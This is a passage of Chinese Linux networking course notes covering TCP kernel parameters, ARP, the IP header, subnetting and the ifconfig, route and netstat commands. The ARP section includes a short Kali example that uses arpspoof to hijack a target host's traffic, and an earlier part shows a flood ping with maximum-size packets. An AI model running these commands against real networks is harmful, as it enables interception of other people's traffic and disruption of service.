  19. 的时间,默认值是60秒。 该参数对应系统路径为:/proc/sys/net/ipv4/tcp_fin_timeout 60
  20. net.ipv4.tcp_tw_reuse 表示开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接,默认值
  21. 为0,表示关闭。 该参数对应系统路径为:/proc/sys/net/ipv4/tcp_tw_reuse 0
  22. net.ipv4.tcp_tw_recycle 表示开启TCP连接中TIME-WAIT sockets的快速回收。 该参数对应系统路
  23. 径为:/proc/sys/net/ipv4/tcp_tw_recycle,默认为0,表示关闭。 提示:reuse和recycle这两个参
  24. 数是为防止生产环境下服务器time_wait网络状态数量过多设置的。
  25. net.ipv4.tcp_syncookies 表示开启SYN Cookies功能。当出现SYN等待队列溢出时,启用Cookies
  26. 来处理,可防范少量SYN攻击,这个参数也可以不添加。 该参数对应系统路径
  27. 为:/proc/sys/net/ipv4/tcp_syncookies,默认值为1
  28. net.ipv4.tcp_keepalive_time 表示当keepalive启用时,TCP发送keepalive消息的频度。默认是2小
  29. 时,建议改为10分钟。 该参数对应系统路径为:/proc/sys/net/ipv4/tcp_keepalive_time,默认为
  30. 7200秒。
  31. net.ipv4.ip_local_port_range 该选项用来设定允许系统打开的端口范围,即用于向外连接的端口范
  32. 围。 该参数对应系统路径为:/proc/sys/net/ipv4/ip_local_port_range 32768 61000
  33. net.ipv4.tcp_max_syn_backlog 表示SYN队列的长度,即半连接队列长度,默认为1024,建议加
  34. 大队列的长度为8192或更多,这样可以容纳更多等待连接的网络连接数。 该参数为服务器端用于
  35. 记录那些尚未收到客户端确认信息的连接请求最大值。 该参数对象系统路径
  36. 为:/proc/sys/net/ipv4/tcp_max_syn_backlog
  37. net.ipv4.tcp_max_tw_buckets 表示系统同时保持TIME_WAIT套接字的最大数量,如果超过这个数
  38. 值,TIME_WAIT套接字将立刻被清除并打印警告信息。 默认为180000,对于Apache、Nginx等服
  39. 务器来说可以将其调低一点,如改为5000~30000,不通业务的服务器也可以给大一点,比如
  40. LVS、Squid。 此项参数可以控制TIME_WAIT套接字的最大数量,避免Squid服务器被大量的
  41. TIME_WAIT套接字拖死。 该参数对应系统路径为:/proc/sys/net/ipv4/tcp_max_tw_buckets
  42. net.ipv4.tcp_synack_retries 参数的值决定了内核放弃连接之前发送SYN+ACK包的数量。 该参数
  43. 对应系统路径为:/proc/sys/net/ipv4/tcp_synack_retries,默认值为5
  44. net.ipv4.tcp_syn_retries 表示在内核放弃建立连接之前发送SYN包的数量。 该参数对应系统路径
  45. 为:/proc/sys/net/ipv4/tcp_syn_retries,默认值为6
  46. net.ipv4.tcp_max_orphans 用于设定系统中最多有多少个TCP套接字不被关联到任何一个用户文件
  47. 句柄上。 如果超过这个数值,孤立连接将被立即被复位并打印出警告信息。 这个限制只有为了防
  48. 止简单的DoS攻击。不能过分依靠这个限制甚至认为减少这个值,更多的情况是增加这个值。 该参
  49. 数对应系统路径为:/proc/sys/net/ipv4/tcp_max_orphans ,默认值8192
  50. net.core.somaxconn 同时发起的TCP的最大连接数,即全连接队列长度,在高并发请求中,可能
  51. 会导致链接超时或重传,一般结合并发请求数来调大此值。 该参数对应系统路径
  52. 为:/proc/sys/net/core/somaxconn ,默认值是128
  53. net.core.netdev_max_backlog 表示当每个网络接口接收数据包的速率比内核处理这些包的速率快
  54. 时,允许发送到队列的数据包最大数。 该参数对应系统路径
  55. 为:/proc/sys/net/core/netdev_max_backlog,默认值为1000

 3.4UDP包头

 3.5Internet层.

Internet Control Message Protocol 

  1. #例: 利用icmp协议判断网络状态
  2. [root@centos7 ~]#ping 10.0.0.8
  3. PING 10.0.0.8 (10.0.0.8) 56(84) bytes of data.
  4. 64 bytes from 10.0.0.8: icmp_seq=1 ttl=64 time=0.307 ms
  5. #[root@centos7 ~]#ping 10.0.0.81
  6. PING 10.0.0.81 (10.0.0.81) 56(84) bytes of data.
  7. From 10.0.0.7 icmp_seq=1 Destination Host Unreachable
  8. #
  9. [root@centos8 ~]#ping -s 65508 10.0.0.8
  10. Error: packet size 65508 is too large. Maximum is 65507
  11. [root@centos8 ~]#ping -f -s 65507 172.18.0.200
  12. PING 172.18.0.200 (172.18.0.200) 65507(65535) bytes of data.
  13. ...........................................................

 Address Resolution Protocol

ARP
ARP 地址解析协议由互联网工程任务组(IETF)在1982年11月发布的RFC 826中描述制定,是根据IP地址获取物理地址的一个TCP/IP协议。

主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存

同网段的ARP

 跨网段的ARP

  1. #例:ARP 表
  2. [root@xinxin ~]#ip neigh
  3. 192.168.1.110 dev eth0 lladdr 60:02:b4:e3:8a:c0 STALE
  4. 192.168.1.156 dev eth0 lladdr 50:01:d9:8a:1d:3f STALE
  5. 192.168.1.114 dev eth0 lladdr 40:8d:5c:e1:97:34 STALE
  6. 192.168.1.118 dev eth0 lladdr 94:65:2d:38:44:82 STALE
  7. [root@xinxin ~]#arp -n
  8. Address         HWtype HWaddress      Flags Mask      Iface
  9. 192.168.1.110      ether  60:02:b4:e3:8a:c0  C           eth0
  10. 192.168.1.156      ether  50:01:d9:8a:1d:3f  C           eth0
  11. 192.168.1.114      ether  40:8d:5c:e1:97:34  C           eth0
  12. 192.168.1.118      ether  94:65:2d:38:44:82  C           eth0
  13. #例:ARP静态绑定可以防止ARP欺骗
  14. [root@centos8 ~]#arp -s 10.0.0.6 00:0c:29:32:80:38
  15. [root@centos8 ~]#arp -n
  16. Address         HWtype HWaddress      Flags Mask      Iface
  17. 10.0.0.6         ether  00:0c:29:32:80:38  CM          eth0
  18. 10.0.0.7         ether  00:0c:29:32:80:38  C           eth0
  19. 10.0.0.1         ether  00:50:56:c0:00:08  C           eth0
  20. #例:kali 系统实现 arp 欺骗上网流量劫持
  21. #启动路由转发功能
  22. [root@kali ~]# echo 1 > /proc/sys/net/ipv4/ip_forward
  23. #安装包
  24. [root@kali ~]# apt-get install dsniff
  25. #欺骗目标主机,本机是网关
  26. [root@kali ~]# arpspoof -i eth0 -t 被劫持的目标主机IP 网关IP
  27. #欺骗网关,本机是目标主机
  28. [root@kali ~]# arpspoof -i eth0 -t 网关IP 被劫持的目标主机IP

 Reverse Address Resolution Protocol

RARP 即将MAC转换成IP

3.5.1internet 协议

运行于 OSI 网络层
面向无连接的协议
独立处理数据包
分层编址
尽力而为传输
无数据恢复功能        

3.5.2IP PDU 报头

3.5.3 IP PDU 报头格式

版本:占4位,指 IP 协议的版本目前的IP协议版本号为4
首部长度:占4位,可表示的最大数值是15个单位,一个单位为4字节,因此IP 的首部长度的最大值是
60字节

区分服务:占8位,用来获得更好的服务,在旧标准中叫做服务类型,但实际上一直未被使用过.后改名为
区分服务.只有在使用区分服务(DiffServ)时,这个字段才起作用.一般的情况下不使用

总长度:占16位,指首部和数据之和的长度,单位为字节,因此数据报的最大长度为 65535 字节.总长度
必须不超过最大传送单元 MTU

标识:占16位,它是一个计数器,通常,每发送一个报文,该值会加1, 也用于数据包分片,在同一个
包的若干分片中,该值是相同的标志(flag):占3位,目前只有后两位有意义
DF: Don’t Fragment 中间的一位,只有当 DF=0 时才允许分片
MF: More Fragment 最后一位,MF=1表示后面还有分片,MF=0 表示最后一个分片IP PDU 报头

片偏移:占13位,指较长的分组在分片后,该分片在原分组中的相对位置.片偏移以8个字节为偏移单

生存时间:占8位,记为TTL (Time To Live) 数据报在网络中可通过的路由器数的最大值,TTL 字段是由
发送端初始设置一个 8 bit字段.推荐的初始值由分配数字 RFC 指定,当前值为 64.发送 ICMP 回显应
答时经常把 TTL 设为最大值 255

协议:占8位,指出此数据报携带的数据使用何种协议以便目的主机的IP层将数据部分上交给哪个处理
过程, 1表示为 ICMP 协议, 2表示为 IGMP 协议, 6表示为 TCP 协议, 17表示为 UDP 协议

首部检验和:占16位,只检验数据报的首部不检验数据部分.这里不采用 CRC 检验码而采用简单的计
算方法

源地址和目的地址:都各占4字节,分别记录源地址和目的地址

  1. #例: TTL
  2. C:\Users\xin>ping 10.70.0.1
  3. 正在 Ping 10.70.0.1 具有 32 字节的数据:
  4. 来自 10.70.0.1 的回复: 字节=32 时间=2ms TTL=254
  5. 来自 10.70.0.1 的回复: 字节=32 时间=2ms TTL=254
  6. 来自 10.70.0.1 的回复: 字节=32 时间=4ms TTL=254
  7. 来自 10.70.0.1 的回复: 字节=32 时间=2ms TTL=254
  8. 10.70.0.1 的 Ping 统计信息:
  9.   数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
  10. 往返行程的估计时间(以毫秒为单位):
  11.   最短 = 2ms,最长 = 4ms,平均 = 2ms
  12. C:\Users\xin>
  13. #例:发现IP冲突的主机
  14. [root@centos8 ~]#arping 10.0.0.6
  15. ARPING 10.0.0.6 from 10.0.0.8 eth0
  16. Unicast reply from 10.0.0.6 [00:0C:29:E0:2F:37]  0.779ms
  17. Unicast reply from 10.0.0.6 [00:0C:29:32:80:38]  0.798ms
  18. Unicast reply from 10.0.0.6 [00:0C:29:32:80:38]  0.926ms
  19. Unicast reply from 10.0.0.6 [00:0C:29:32:80:38]  0.864ms
  20. ^CSent 3 probes (1 broadcast(s))
  21. Received 4 response(s)
  22. #例: 禁用IPv6
  23. #默认启动IPv6
  24. [root@centos8 ~]#ip a
  25. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  26. default qlen 1000
  27.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  28.  inet 127.0.0.1/8 scope host lo
  29.    valid_lft forever preferred_lft forever
  30.  inet6 ::1/128 scope host
  31.    valid_lft forever preferred_lft forever
  32. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
  33. group default qlen 1000
  34.  link/ether 00:0c:29:ab:8f:2b brd ff:ff:ff:ff:ff:ff
  35.  inet 10.0.0.18/24 brd 10.0.0.255 scope global noprefixroute eth0
  36.    valid_lft forever preferred_lft forever
  37.  inet6 fe80::20c:29ff:feab:8f2b/64 scope link
  38.    valid_lft forever preferred_lft forever
  39. #修改内核配置
  40. [root@centos8 ~]#vim /etc/sysctl.conf
  41. #加下面两行
  42. net.ipv6.conf.all.disable_ipv6 = 1
  43. net.ipv6.conf.default.disable_ipv6 = 1
  44. [root@centos8 ~]#sysctl -p
  45. #查看IP验证
  46. [root@centos8 ~]#ip a
  47. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
  48. default qlen 1000
  49.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  50.  inet 127.0.0.1/8 scope host lo
  51.    valid_lft forever preferred_lft forever
  52. 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
  53. group default qlen 1000
  54.  link/ether 00:0c:29:44:c3:fe brd ff:ff:ff:ff:ff:ff
  55.  inet 10.0.0.8/24 brd 10.0.0.255 scope global noprefixroute eth0
  56.    valid_lft forever preferred_lft forever
  57. ##注意:禁用IPv6可能会影响一些服务的启动,如:ssh,postfix,mysql等
  58. [root@centos8 ~]#vim /etc/ssh/sshd_config
  59. #AddressFamily any 此行修改为以下行
  60. AddressFamily inet
  61. [root@centos8 ~]#systemctl restart sshd
  62. [root@centos8 ~]#vim /etc/postfix/main.cf
  63. #inet_interfaces = localhost 此行修改为以下行
  64. inet_interfaces = 127.0.0.1
  65. [root@centos8 ~]#systemctl restart postfix
  66. [root@centos8 ~]#ss -ntl
  67. State      Recv-Q   Send-Q   Local Address:Port  Peer Address:Port
  68.    
  69. LISTEN      0      128        0.0.0.0:22      0.0.0.0:*  
  70.     
  71. LISTEN      0      100       127.0.0.1:25      0.0.0.0:*

3.6IP地址

IP地址组成
它们可唯一标识 IP 网络中的每台设备 ,每台主机(计算机、网络设备、外围设备)必须具有唯一的地址
IP地址由两部分组成
        网络 ID:标识网络,每个网段分配一个网络ID,处于高位
        主机 ID:标识单个主机,由组织分配给各设备,处于低位
IPv4地址格式:点分十进制记法

3.6.1IP地址分类 

 A类:
        0 0000000 - 0 1111111.X.Y.Z : 0-127.X.Y.Z
        网络ID位是最高8位,主机ID是24位低位
        网络数:126=2^7(可变是的网络ID位数)-2
        每个网络中的主机数:2^24-2=16777214
        默认子网掩码:255.0.0.0
        私网地址:10.0.0.0
        范例:114.114.114.114,8.8.8.8,1.1.1.1,123.56.174.200,119.29.29.29

B类:
        10 000000 - 10 111111.X.Y.Z:128-191.X.Y.Z
        网络ID位是最高16位,主机ID是16位低位
        网络数:2^14=16384
        每个网络中的主机数:2^16-2=65534
        默认子网掩码:255.255.0.0

        私网地址:172.16.0.0-172.31.0.0
        范例:180.76.76.76,172.16.0.1

C类:
        110 0 0000 - 110 1 1111.X.Y.Z: 192-223.X.Y.Z
        网络ID位是最高24位,主机ID是8位低位
        网络数:2^21=2097152
        每个网络中的主机数:2^8-2=254
        默认子网掩码:255.255.255.0
        私网地址:192.168.0.0-192.168.255.0
        范例: 223.6.6.6,223.5.5.5

D类:组(多)播,1110 0000 - 1110 1111.X.Y.Z: 224-239.X.Y.Z

E类:保留未使用,240-255

3.6.2公共和私有IP地址

私有IP地址:不直接用于互联网,通常在局域网中使用

公共IP地址:互联网上设备拥有的唯一地址

 3.6.3特殊地址

        0.0.0.0
        0.0.0.0不是一个真正意义上的IP地址。它表示所有不清楚的主机和目的网络
        255.255.255.255
        限制广播地址。对本机来说,这个地址指本网段内(同一广播域)的所有主机
        127.0.0.1~127.255.255.254
        本机回环地址,主要用于测试。在传输介质上永远不应该出现目的地址为“127.0.0.1”的 数据包
        224.0.0.0到239.255.255.255
        组播地址,224.0.0.1特指所有主机,224.0.0.2特指所有路由器。224.0.0.5指OSPF 路由器,地址多用于一些特定的程序以及多媒体程序
        169.254.x.x
        如果Windows主机使用了DHCP自动分配IP地址,而又无法从DHCP服务器获取地址,系统会为主机分配这样地址

 3.6.4保留地址

例:
172.16.0.0 网络中的两个地址:172.16.0.0 172.16.255.255

 3.6.5子网掩码

CIDR:无类域间路由,目前的网络已不再按A,B,C类划分网段,可以任意指定网段的范围
CIDR 无类域间路由表示法:IP/网络ID位数,如:172.16.0.100/16
netmask子网掩码:32位或128位(IPv6)的数字,和IP成对使用,用来确认IP地址中的网络ID和主机ID,对应网络ID的位为1,对应主机ID的位为0,范例:255.255.255.0 ,表现为连续的高位为1,连续的低位为0

 子网掩码的八位

  1. #相关公式:
  2. 一个网络的最多的主机数 =2 ^ 主机ID位数 - 2
  3. 网络(段)数 = 2 ^ 网络ID中可变的位数
  4. 网络ID = IP 与 netmask
  5. #判断对方主机是否在同一个网段:
  6. 用自已的子网掩码分别和自已的IP及对方的IP相与,比较结果,相同则同一网络,不同则不同网段
  7. #例:
  8. netmask: 255.255.224.0,网络ID位:19 主机ID位:13,主机数=2^13-2=8190
  9. #例:判断A和B是否在网一个网段?
  10. A: 192.168.1.100 netmask:255.255.255.0
  11. B: 192.168.2.100 netmask:255.255.0.0
  12. #例:一个主机:172.16.1.100/28
  13. 1、此主机所在的网段最多有多少主机?主机数=2^(32-28)-2=14
  14. 2、网络ID? IP和子网掩码相与,172.16.1.96
  15. 3、此网段的主机中最小的IP:172.16.1.97,最大的IP?172.16.1.110

 3.7划分子网

划分子网:将一个大的网络(主机数多)划分成多个小的网络(主机数少),主机ID位数变少,网络ID位数变多,网络ID位向主机ID位借n位,将划分2^n个子网

可变长度子网掩码

Subnet地址 

  1. #例:
  2. 中国移动10.0.0.0/8 给32个各省公司划分对应的子网
  3. 1)每个省公司的子网的netmask?
  4. 2^5>=32 借5位网络ID
  5. 8+5=13
  6. 255.248.0.0
  7. 2)每个省公司的子网的主机数有多少?
  8. 2^(32-13)-2=524286
  9. 3)河南省得到第10个子网,网络ID?
  10. 10.00000 000.0.0/13
  11. 10.01001 000.0.0/13
  12. 10.72.0.0/13
  13. 4)河南省得到第10个子网的最小IP和最大的IP?
  14. 10.01001 000.0.1
  15. 10.01001 111.11111111.11111110
  16. 10.72.0.1---10.79.255.254
  17. 5)所有子网中最大,最小的子网的netid?
  18. 10.00000 000.0.0/13 10.0.0.0/13
  19. 10.11111 000.0.0/13 10.248.0.0/13

3.7.1优化IP地址分配

 

  1. #例:
  2. 8个C类网段
  3. 220.78.168.0/24
  4. 220.78.169.0/24
  5. 220.78.170.0/24
  6. 220.78.171.0/24
  7. 220.78.172.0/24
  8. 220.78.173.0/24
  9. 220.78.174.0/24
  10. 220.78.175.0/24
  11. 220.78.10101 000.0  220.78.168.0/24
  12. 220.78.10101 001.0  220.78.169.0/24
  13. 220.78.10101 010.0  220.78.170.0/24
  14. ......
  15. 220.78.10101 110.0  220.78.174.0/24
  16. 220.78.10101 111.0  220.78.175.0/24
  17. #合并成一个大网
  18. 220.78.168.0/21

 3.7.2 跨网络通信

跨网络通信:路由,选择路径
路由分类:
        主机路由
        网络路由
        默认路由
优先级:精度越高,优先级越高

3.7.3动态主机配置协议 DHCP

4 网络配置

4.1 基本网络配置

将Linux主机接入到网络,需要配置网络相关设置
一般包括如下内容:
        主机名
        IP/netmask
        路由:默认网关
        DNS服务器
        主DNS服务器
        次DNS服务器
        第三个DNS服务器 

4.2 网卡名称

  1. #CentOS6
  2. #网络接口识别并命名相关的udev配置文件
  3. /etc/udev/rules.d/70-persistent-net.rules
  4. #查看网卡:
  5. dmesg |grep –i eth
  6. ethtool -i eth0
  7. #卸载网卡驱动:
  8. modprobe -r e1000
  9. rmmod e1000
  10. #装载网卡驱动:
  11. modprobe e1000
  12. #例:临时修改网卡名称
  13. [root@centos6 ~]#ip link set eth0 down
  14. [root@centos6 ~]#ip link set eth0 name abc
  15. [root@centos6 ~]#ip link set abc up

4.2.2 CentOS 7 以上版网络配置

CentOS 6之前,网络接口使用连续号码命名:eth0、eth1等,当增加或删除网卡时,名称可能会发生变化
CentOS 7 以上版使用基于硬件,设备拓扑和设置类型命名,可以保持网卡名称的稳定
CentOS 8 中已弃用network.service,采用NetworkManager(NM)为网卡启用命令。CentOS 8 仍可
以安装network.service作为网卡服务,只是默认没有安装,具体方法为: dnf install network-
scripts ,不过官方已明确在下一个大版本中,将彻底放弃network.service,不建议继续使用
network.service管理网络。

systemd对网络设备的命名方式:

1. 如果Firmware或BIOS为主板上集成的设备提供的索引信息可用,且可预测则根据此索引进行命
名,如:eno1
2. 如果Firmware或BIOS为PCI-E扩展槽所提供的索引信息可用,且可预测,则根据此索引进行命名,如:ens1
3. 如果硬件接口的物理位置信息可用,则根据此信息命名,如:enp2s0
4. 如果用户显式启动,也可根据MAC地址进行命名,如:enx2387a1dc56
5. 上述均不可用时,则使用传统命名机制

基于BIOS支持启用biosdevname软件

  1. #内置网卡:em1,em2
  2. pci卡:pYpX Y:slot ,X:port
  3. #网卡组成格式
  4. en: Ethernet 有线局域网
  5. wl: wlan 无线局域网
  6. ww: wwan无线广域网
  7. o<index>: 集成设备的设备索引号
  8. s<slot>: 扩展槽的索引号
  9. x<MAC>: 基于MAC地址的命名
  10. p<bus>s<slot>: enp2s1
  11. #使用传统命名方式:
  12. (1) 编辑/etc/default/grub配置文件
  13. GRUB_CMDLINE_LINUX="net.ifnames=0 biosdevname=0"
  14. (2) 为grub2生成其配置文件
  15. On a system with UEFI boot mode:
  16. # grub2-mkconfig -o /boot/efi/EFI/redhat/grub.cfg
  17. On a system with legacy boot mode:
  18. # grub2-mkconfig -o /boot/grub2/grub.cfg
  19. # grub2-mkconfig -o /etc/grub2.cfg
  20. (3) 重启系统
  21. reboot
  22. #自定义网卡名
  23. GRUB_CMDLINE_LINUX="... net.ifnames.prefix=<required prefix>"
  24. #例: 自定义网卡名
  25. [root@centos8 ~]# vi /etc/default/grub
  26. GRUB_CMDLINE_LINUX="net.ifnames.prefix=xin"
  27. [root@centos8 ~]# grub2-mkconfig -o /boot/grub2/grub.cfg
  28. [root@centos8 ~]# reboot
  29. [root@centos8 ~]# ip link
  30. 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT
  31. group default qlen 1000
  32.  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
  33. 。。。。。

4.3 网络配置命令

4.3.1 主机名

  1. #设置主机名:
  2. hostnamectl set-hostname centos7.baidu.com
  3. hostname
  4. hostnamectl status

4.3.2 网络配置方式

  1. #静态指定:
  2. ifconfig, route, netstat
  3. ip: object {link, addr, route}, ss, tc
  4. system-config-network-tui,setup
  5. 配置文件
  6. #动态分配:
  7. DHCP: Dynamic Host Configuration Protocol

4.3.3 ifconfig 命令

  1. #来自于net-tools包,建议使用 ip 代替
  2. [root@centos8 ~]#rpm -qi net-tools
  3. Name    : net-tools
  4. Version   : 2.0
  5. Release   : 0.51.20160912git.el8
  6. Architecture: x86_64
  7. Install Date: Tue 21 Apr 2020 05:10:33 PM CST
  8. 。。。。
  9. #例:
  10. ifconfig [interface]
  11. ifconfig -a
  12. ifconfig IFACE [up|down]
  13. ifconfig interface [aftype] options | address ...
  14. ifconfig IFACE IP/netmask [up]
  15. ifconfig IFACE IP netmask NETMASK
  16. 启用混杂模式:[-]promisc
  17. #注意:此命令执行后会立即生效
  18. #例:
  19. [root@centos8 ~]#ifconfig eth0 10.0.0.68 netmask 255.255.0.0
  20. #清除eth0上面的IP地址
  21. [root@centos8 ~]#ifconfig eth0 0.0.0.0
  22. #启用和禁用网卡
  23. [root@centos8 ~]#ifconfig eth0 down
  24. [root@centos8 ~]#ifconfig eth0 up
  25. #对一个网卡设置多个IP地址
  26. [root@centos8 ~]#ifconfig eth0:1 172.16.0.8/24
  27. [root@centos8 ~]#ifconfig
  28. eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  29.    inet 10.0.0.8 netmask 255.0.0.0 broadcast 10.255.255.255
  30.    inet6 fe80::20c:29ff:fe45:a8a1 prefixlen 64 scopeid 0x20<link>
  31.    ether 00:0c:29:45:a8:a1 txqueuelen 1000 (Ethernet)
  32.    RX packets 813 bytes 75898 (74.1 KiB)
  33.    RX errors 0 dropped 0 overruns 0 frame 0
  34.    TX packets 563 bytes 76262 (74.4 KiB)
  35.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  36. eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  37.    inet 172.16.0.8 netmask 255.255.255.0 broadcast 172.16.0.255
  38.    ether 00:0c:29:45:a8:a1 txqueuelen 1000 (Ethernet)
  39. lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
  40.    inet 127.0.0.1 netmask 255.0.0.0
  41.    inet6 ::1 prefixlen 128 scopeid 0x10<host>
  42. 。。。。
  43. [root@centos8 ~]#ifconfig eth0:1 down
  44. [root@centos8 ~]#ifconfig
  45. eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
  46.    inet 10.0.0.8 netmask 255.0.0.0 broadcast 10.255.255.255
  47.    inet6 fe80::20c:29ff:fe45:a8a1 prefixlen 64 scopeid 0x20<link>
  48.    ether 00:0c:29:45:a8:a1 txqueuelen 1000 (Ethernet)
  49.    RX packets 864 bytes 80572 (78.6 KiB)
  50.    RX errors 0 dropped 0 overruns 0 frame 0
  51.    TX packets 601 bytes 81681 (79.7 KiB)
  52.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  53. lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
  54.    inet 127.0.0.1 netmask 255.0.0.0
  55.    inet6 ::1 prefixlen 128 scopeid 0x10<host>
  56.    loop txqueuelen 1000 (Local Loopback)
  57.    RX packets 2 bytes 140 (140.0 B)
  58.    RX errors 0 dropped 0 overruns 0 frame 0
  59.    TX packets 2 bytes 140 (140.0 B)
  60.    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  61. #里:
  62. [root@centos8 ~]#ifconfig -s
  63. Iface   MTU  RX-OK RX-ERR RX-DRP RX-OVR  TX-OK TX-ERR TX-DRP TX-OVR Flg
  64. eth0       1500  673005    0    0 0     672688    0    0   0 BMRU
  65. lo         65536    70    0    0 0       70     0    0   0 LRU
  66. [root@centos8 ~]#ifconfig -s eth0
  67. Iface   MTU  RX-OK RX-ERR RX-DRP RX-OVR  TX-OK TX-ERR TX-DRP TX-OVR Flg
  68. eth0       1500  673011    0    0 0     672694    0    0   0 BMRU

4.3.4 route 命令

路由表管理命令:

路由表主要构成:
        Destination: 目标网络ID,表示可以到达的目标网络ID,0.0.0.0/0 表示所有未知网络,又称为默认路由,优先级最低
        Genmask:目标网络对应的netmask
        Iface: 到达对应网络,应该从当前主机哪个网卡发送出来
        Gateway: 到达非直连的网络,将数据发送到临近(下一个)路由器的临近本主机的接口的IP地址,如果是直连网络,gateway是0.0.0.0
        Metric: 开销cost,值越小,路由记录的优先级最高

  1. #查看路由表
  2. route
  3. route -n
  4. #例:
  5. [root@centos8 ~]#route
  6. Kernel IP routing table
  7. Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
  8. default     _gateway     0.0.0.0     UG   100   0     0 eth0
  9. 10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
  10. [root@centos8 ~]#route -n
  11. Kernel IP routing table
  12. Destination   Gateway     Genmask     Flags Metric Ref  Use Iface
  13. 0.0.0.0     10.0.0.2     0.0.0.0     UG   100   0     0 eth0
  14. 10.0.0.0     0.0.0.0     255.255.255.0  U   100   0     0 eth0
  15. #添加路由:route add
  16. route add [-net|-host|default] target [netmask Nm] [gw GW] [[dev] If]
  17. #删除路由:route del
  18. route del [-net|-host] target [gw Gw] [netmask Nm] [[dev] If]
  19. #例:
  20. #目标:192.168.1.3 网关:172.16.0.1
  21. route add -host 192.168.1.3 gw 172.16.0.1 dev eth0
  22. #目标:192.168.0.0 网关:172.16.0.1
  23. route add -net 192.168.0.0 netmask 255.255.255.0 gw 172.16.0.1 dev eth0
  24. route add -net 192.168.0.0/24 gw 172.16.0.1 dev eth0
  25. route add -net 192.168.8.0/24 dev eth1 metric 200
  26. #默认路由,网关:172.16.0.1
  27. route add -net 0.0.0.0 netmask 0.0.0.0 gw 172.16.0.1
  28. route add -net 0.0.0.0/0 gw 172.16.0.1
  29. route add default gw 172.16.0.1
  30. #目标:192.168.1.3 网关:172.16.0.1
  31. route del -host 192.168.1.3
  32. #目标:192.168.0.0 网关:172.16.0.1
  33. route del -net 192.168.0.0 netmask 255.255.255.0

例:实现静态路由

  1. #基础环境:
  2. 四台主机:
  3. A主机:eth0 NAT模式
  4. R1主机:eth0 NAT模式,eth1 仅主机模式
  5. R2主机:eth0 桥接模式,eth1 仅主机模式
  6. B主机:eth0 桥接模式
  7. #配置A主机
  8. ifconfig eth0 10.0.0.123/8
  9. route add -net 10.0.0.0/8 dev eth0
  10. route add default gw 10.0.0.200 dev eth0
  11. #配置R1
  12. ifconfig eth0 10.0.0.200/8
  13. ifconfig eth1 192.168.0.200/24
  14. route add -net 10.0.0.0/8 dev eth0
  15. route add -net 192.168.0.0/24 dev eth1
  16. route add -net 172.16.0.0/16 gw 192.168.0.201 dev eth1
  17. echo 1 > /proc/sys/net/ipv4/ip_forward
  18. #配置R2
  19. ifconfig eth0 172.16.0.200/16
  20. ifconfig eth1 192.168.0.201/24
  21. route add -net 192.168.0.0/24 dev eth1
  22. route add -net 172.16.0.0/16 dev eth0
  23. route add -net 10.0.0.0/8 gw 10.0.0.200 dev eth1
  24. echo 1 > /proc/sys/net/ipv4/ip_forward
  25. #配置B
  26. ifconfig eth0 172.16.0.123/16
  27. route add -net 172.16.0.0/16 dev eth0
  28. route add default gw 172.16.0.200 dev eth0
  29. #例:
  30. [root@router ~]#echo 1 > /proc/sys/net/ipv4/ip_forward

 4.3.5 配置动态路由

通过守护进程获取动态路由,安装quagga包,通过命令vtysh配置
支持多种路由协议:
        RIP:Routing Information Protocol,路由信息协议
        OSPF:Open Shortest Path First,开放式最短路径优先
        BGP:Border Gateway Protocol,边界网关协议

4.3.6 netstat 命令

来自于net-tools包,建议使用 ss 代替

  1. #显示网络连接:
  2. netstat [--tcp|-t] [--udp|-u] [--raw|-w] [--listening|-l] [--all|-a] [--numeric|-
  3. n] [--extend|-e[--extend|-e]] [--program|-p]
  4. #常用选项:
  5. -t: tcp协议相关
  6. -u: udp协议相关
  7. -w: raw socket相关
  8. -l: 处于监听状态
  9. -a: 所有状态
  10. -n: 以数字显示IP和端口
  11. -e:扩展格式
  12. -p: 显示相关进程及PID
  13. #常用组合:
  14. -tan, -uan, -tnl, -unl
  15. #显示路由表:
  16. netstat {--route|-r} [--numeric|-n]
  17. -r: 显示内核路由表
  18. -n: 数字格式
  19. #例: 统计网络信息
  20. [root@centos8 ~]#netstat -s
  21. Ip:
  22.  Forwarding: 2
  23.   88 total packets received
  24.   0 forwarded
  25.   0 incoming packets discarded
  26.   88 incoming packets delivered
  27. 68 requests sent out
  28.   148 dropped because of missing route
  29. Icmp:
  30.   0 ICMP messages received
  31.   0 input ICMP message failed
  32.  ICMP input histogram:
  33.   0 ICMP messages sent
  34.   0 ICMP messages failed
  35.  ICMP output histogram:
  36. Tcp:
  37.   0 active connection openings
  38.   1 passive connection openings
  39.   0 failed connection attempts
  40.   0 connection resets received
  41.   1 connections established
  42.   70 segments received
  43.   50 segments sent out
  44.   0 segments retransmitted
  45.   0 bad segments received
  46.   0 resets sent
  47. Udp:
  48.   18 packets received
  49.   0 packets to unknown port received
  50.   0 packet receive errors
  51.   18 packets sent
  52.   0 receive buffer errors
  53.   0 send buffer errors
